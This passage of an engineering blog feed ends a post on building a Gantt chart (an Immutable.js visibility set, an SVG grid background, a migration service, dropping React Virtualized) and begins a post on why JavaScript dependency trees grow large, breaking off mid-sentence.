&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;records&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  recordId&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    ...&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;attributes,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    children&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      childId&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;attributes, &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;children&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      …&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  …&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s look at the feature that allows you to hide specific records from the Gantt chart. Our initial naive implementation was to add an &lt;code&gt;isVisible&lt;/code&gt; attribute to the records:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Record&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;isVisible&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.isVisible &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; isVisible;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This looks fine at first glance, but when we wanted to update a record’s visibility, we had to dig into the records tree:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; setIsVisible&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;record&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;isVisible&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  state &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; state.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;setIn&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;([records, parent.id, ‘children’, record.id, ‘isVisible’], isVisible);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that’s for records nested one level deep. If they’re nested deeper, then we had to figure out the whole path to the record with things like:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;record.parents.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;parent&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; parent.id).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;interpose&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(‘children’)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It didn’t make for the most readable code. We also had to maintain the value even when the parents and/or grandparents were updated, manipulated, etc.&lt;/p&gt;
&lt;p&gt;We eventually found a much better way to handle this. We decided to keep a separate list of hidden records and query that list whenever we wanted to know if a record was visible or not:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; state &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Immutable.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;fromJS&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  hiddenRecords: Immutable.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; setIsVisible&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;record&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;isVisible&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  state &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; state.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(‘hiddenRecords’, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; isVisible &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; set.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;delete&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(record.id) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; set.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(record.id);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;const &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;isVisible&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;record&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;state.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(‘hiddenRecords’).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;has&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(record.id);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once we stumbled onto that pattern, we applied it to a number of other properties with great success. We added lists for expanded records, active records, selected records, and more.&lt;/p&gt;
&lt;p&gt;It took some getting used to as we adjusted our mental model from working with an object-oriented system to a hybrid that is more functional.&lt;/p&gt;
&lt;h2&gt;SVG works great to draw a grid&lt;/h2&gt;
&lt;p&gt;If you look closely at our Gantt chart, you’ll see vertical lines separating the weeks, darker areas to show the weekends, and a red line to show where today is.&lt;/p&gt;
&lt;p&gt;We used to populate the DOM with hundreds of DIVs with various borders to achieve the result we wanted. As an experiment, we tried constructing an SVG image dynamically and it turned out great: it was easy to implement, the code is clean, and the output is small compared to our previous DIV solution.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// All the shapes that make the final SVG image&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; shapes&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// week dividers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; week &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; firstWeek, x &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;; week &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; lastWeek; week&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, x &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; pixelsPerWeek) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  shapes.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    `&amp;#x3C;line id=&quot;week-${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;week&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&quot; x1=&quot;${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&quot; x2=&quot;${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&quot; y1=&quot;0&quot; y2=&quot;100&quot; stroke=&quot;rgb(204,204,204)&quot; stroke-width=&quot;0.5&quot; /&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// today&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;shapes.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;  `&amp;#x3C;rect id=&quot;today&quot; x=&quot;${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;pixelsToToday&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&quot; y=&quot;0&quot; width=&quot;2&quot; height=&quot;100&quot; fill=&quot;rgba(255,0,0,0.3)&quot; /&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// ...and finally build the CSS style&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  background: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`url(&apos;data:image/svg+xml;utf8,&amp;#x3C;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;timelineWidth&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&quot; height=&quot;100&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;shapes&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(‘’)&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&amp;#x3C;/svg&gt;&apos;) repeat-y`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Migrating from the original Gantt chart to the new one&lt;/h2&gt;
&lt;p&gt;Our new Gantt chart behaves differently in a number of important ways and has a different data structure than the original one, so how do we get new users to use it? We didn’t want to tell them to re-enter the same data in the new one because most of them wouldn’t have done it. We also didn’t want to keep the original one and maintain both at the same time. The only solution was to find a way to “migrate” from the original one to the new one.&lt;/p&gt;
&lt;p&gt;To accomplish this, we created a migration service that is run automatically when someone tries to access their original Gantt chart, converts it into the new one, and then redirects to it. We looked at every single configuration attribute in both implementations, found how they mapped between each other, and implemented the logic. We also made sure to preserve the original configuration in case we did something wrong. (Nothing major happened.) The migration service was inspired by the Rails database migration. Here’s what it looks like:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; LegacyGanttChartMigration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; upgrade&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    preserve_legacy_configuration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    convert_date_attributes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    convert_expanded_records&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # … a few more convert calls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    hide_features_without_dates&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; downgrade&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # revert the configuration preserved above&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# and to migrate, all we had to do was call this&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;gantt_chart &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; LegacyGanttChartMigration&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(gantt_chart).upgrade&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The migration was easy to test, easy to read, and worked like a charm.&lt;/p&gt;
&lt;h2&gt;Why we don’t use React Virtualized&lt;/h2&gt;
&lt;p&gt;When you read the description of &lt;a href=&quot;https://github.com/bvaughn/react-virtualized&quot;&gt;React Virtualized&lt;/a&gt;, it looks like a perfect match for our Gantt chart. They even have a demo for a &lt;a href=&quot;https://bvaughn.github.io/react-virtualized/#/components/MultiGrid&quot;&gt;MultiGrid&lt;/a&gt; that behaves very closely to what we were looking for: locked (or frozen) rows at the top, locked columns on the left, and a main grid that can scroll in both directions and stay aligned with the locked rows and columns. That’s why we initially implemented our new Gantt chart with it. Unfortunately, we had a lot of difficulties trying to keep all the parts working nicely together. We had issues with scroll bars in the panels that messed up the alignment, and no matter what we tried, we couldn’t figure out how to work around those issues. We even tried only using &lt;a href=&quot;https://bvaughn.github.io/react-virtualized/#/components/ScrollSync&quot;&gt;ScrollSync&lt;/a&gt; but there was always a tiny delay that made moving around the Gantt chart feel bad.&lt;/p&gt;
&lt;p&gt;So in the end, we completely dropped the library and implemented what we needed ourselves. The Gantt chart is split into three main panels. When the user scrolls, all we have to do is synchronize the scroll position to the relevant panels. For performance-intensive features such as drag-and-drop, we implemented our own windowing to only render what’s visible on the screen to avoid costly computation for objects that aren’t visible anyway.&lt;/p&gt;
&lt;h2&gt;This isn’t the end&lt;/h2&gt;
&lt;p&gt;We’re continuously adding features and fixing bugs on our Gantt chart. As we’ve discovered new patterns and ways to do things, we’ve built a decent backlog of things we’d like to improve. Our customers also provide us with invaluable feedback that we always take into account when deciding what to do next. If there’s something missing from our Gantt chart, &lt;a href=&quot;https://big.ideas.aha.io/&quot;&gt;let us know&lt;/a&gt;. If you’d like to help us build it, &lt;a href=&quot;/company/careers&quot;&gt;we’re always looking for new talent&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A treatise on JavaScript dependencies]]></title><description><![CDATA[JavaScript dependency trees are a bit of a punching bag in the programming world. Even in a small project, the node_modules directory can…]]></description><link>https://www.aha.io/engineering/articles/treatise-javascript-dependencies</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/treatise-javascript-dependencies</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Thu, 09 Jul 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JavaScript dependency trees are a bit of a punching bag in the programming world. Even in a small project, the &lt;code&gt;node_modules&lt;/code&gt; directory can easily reach hundreds of megabytes in size, much to the chagrin of engineers who remember the days when an entire hard drive might not even hold 100MB. A brand new &lt;a href=&quot;https://github.com/facebook/create-react-app&quot;&gt;create-react-app&lt;/a&gt; project comes with 237MB of &lt;code&gt;node_modules&lt;/code&gt; at the time of this writing. There are even memes about this phenomenon:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/36167c4ecd577b44a5ade5b62e3ce8ea/heaviest-objects-universe-node-modules.png&quot; alt=&quot;Heaviest objects in the universe: sun, neutron star, black hole, node_modules&quot;&gt;&lt;/p&gt;
&lt;p&gt;As you might expect, the topic also comes up regularly in discussion forums. A recent Hacker News &lt;a href=&quot;https://news.ycombinator.com/item?id=23705501&quot;&gt;thread&lt;/a&gt; wondered why a new Rails app (with a webpack toolchain) brings along 106MB in JavaScript dependencies. So what gives? Do JavaScript programmers just love installing libraries? To answer this question, we need to start with a bit of recent history.&lt;/p&gt;
&lt;h2&gt;The JavaScript standard library&lt;/h2&gt;
&lt;p&gt;If you were programming for the web in 2016, you probably recall the infamous &lt;code&gt;left-pad&lt;/code&gt; &lt;a href=&quot;https://qz.com/646467/how-one-programmer-broke-the-internet-by-deleting-a-tiny-piece-of-code/&quot;&gt;fiasco&lt;/a&gt;. TL;DR: an engineer who was unhappy with npm decided to unpublish all of his packages in protest. One of these packages, &lt;code&gt;left-pad&lt;/code&gt;, was an 11-line helper to pad a string with spaces up to a certain length. This package was very commonly used (whether as a direct dependency or an indirect dependency-of-a-dependency) and thus broke a lot of popular packages and application builds, causing much weeping and gnashing of teeth. npm implemented some limitations on unpublishing packages to prevent the situation from recurring in the future, but the issue shined a spotlight on a broader problem in the JavaScript world — why did hundreds of packages depend on a tiny dependency to pad a string?&lt;/p&gt;
&lt;p&gt;The problem really starts with JavaScript&apos;s standard library — especially its standard library of 5-10 years ago. When encountered with a solved-but-sort-of-tricky problem like string padding, programmers will naturally take the path of least resistance, which usually involves Googling a solution. They&apos;re focused on solving bespoke business-logic problems and rarely want to go down the rabbit trail of writing a custom string manipulation library. A ruby programmer would quickly discover the built-in &lt;a href=&quot;https://apidock.com/ruby/String/rjust&quot;&gt;&lt;code&gt;rjust&lt;/code&gt; method on strings&lt;/a&gt;, a python programmer would discover the &lt;a href=&quot;https://python-reference.readthedocs.io/en/latest/docs/str/rjust.html&quot;&gt;identically-named python equivalent&lt;/a&gt;, and a PHP programmer would find the helpful &lt;a href=&quot;https://www.php.net/manual/en/function.str-pad.php&quot;&gt;&lt;code&gt;str_pad&lt;/code&gt; function&lt;/a&gt;. But a JavaScript programmer in 2016 would have found... the &lt;code&gt;left-pad&lt;/code&gt; library. JavaScript didn&apos;t have a built-in way to pad a string. Nor did it offer numerous other convenience functions that we often take for granted in other languages. The existence of &lt;a href=&quot;https://underscorejs.org&quot;&gt;underscore&lt;/a&gt; and &lt;a href=&quot;https://lodash.com&quot;&gt;lodash&lt;/a&gt; is evidence in itself — packages containing dozens of convenience functions that come for free in the standard library of most high-level languages.&lt;/p&gt;
&lt;p&gt;Now, this piece of the problem has improved substantially since 2016. If you search how to left-pad a string in JavaScript today, you&apos;re quickly pointed to the built-in &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/padStart&quot;&gt;padStart function&lt;/a&gt;, available in Node.js &gt;8 and all modern browsers (but not Internet Explorer). The TC39 committee has done an excellent job of adding language features that fill the gaps previously plugged by one-off helper packages. However, inertia is still a confounding factor, as somebody has to do the work of removing helper packages and refactoring to built-in language features. And adopting these new language features requires dropping support for older versions of Node.js (which may be technically unsupported but are still broadly used in practice).&lt;/p&gt;
&lt;h2&gt;Building atop the rubble&lt;/h2&gt;
&lt;p&gt;The support matrix is even choppier for web applications. The aforementioned &lt;code&gt;padStart&lt;/code&gt; function doesn&apos;t exist in Internet Explorer 11, and neither do most of the other convenience features added in ES6/ES7. Safari 13 lacks support for &lt;a href=&quot;https://caniuse.com/#feat=bigint&quot;&gt;BigInt&lt;/a&gt; and &lt;a href=&quot;https://caniuse.com/#feat=requestidlecallback&quot;&gt;requestIdleCallback&lt;/a&gt;. Edge has caught up a lot since its switch to the Blink rendering engine, but pre-Blink Edge didn&apos;t support &lt;a href=&quot;https://caniuse.com/#feat=element-scroll-methods&quot;&gt;setting scroll positions on elements&lt;/a&gt; or &lt;a href=&quot;https://caniuse.com/#feat=array-flat&quot;&gt;array &lt;code&gt;flat&lt;/code&gt;/&lt;code&gt;flatMap&lt;/code&gt;&lt;/a&gt;. &lt;em&gt;Most&lt;/em&gt; modern features work in &lt;em&gt;most&lt;/em&gt; modern browsers, but you&apos;ll still spend a lot of mental cycles making sure nothing slips through the gaps, especially if 